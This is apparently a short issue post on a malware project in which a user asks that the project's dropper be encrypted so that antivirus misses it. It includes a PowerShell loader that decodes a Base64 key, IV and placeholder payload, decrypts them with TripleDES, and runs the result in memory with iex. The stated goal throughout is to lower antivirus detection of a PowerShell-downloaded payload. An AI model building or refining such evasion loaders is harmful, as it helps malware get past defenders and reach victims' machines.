Suggestion

[0xcreston]

I would like you to make the dropper encrypted with aes-256 or 3des-192-cbc to evade AV's
It would be something like this

$key = [Convert]::FromBase64String("xKc6APq4mM0xAjMg6TETedOZKqugeZYB")
$iv = [Convert]::FromBase64String("pVglsY0BHNk=")
$Payload = "YxNjPvngQ3g=";
$TDES = New-Object "System.Security.Cryptography.TripleDESCryptoServiceProvider";
$TDES.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$TDES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$TDES.BlockSize = 64;
$TDES.KeySize = 192;
$DataByte = [Convert]::FromBase64String($Payload)
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TDES.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
iex($Result)

I don't know much about encryption , just making a suggestion that might reduce the AV detection rate of the dropper since powershell is used to download the payload.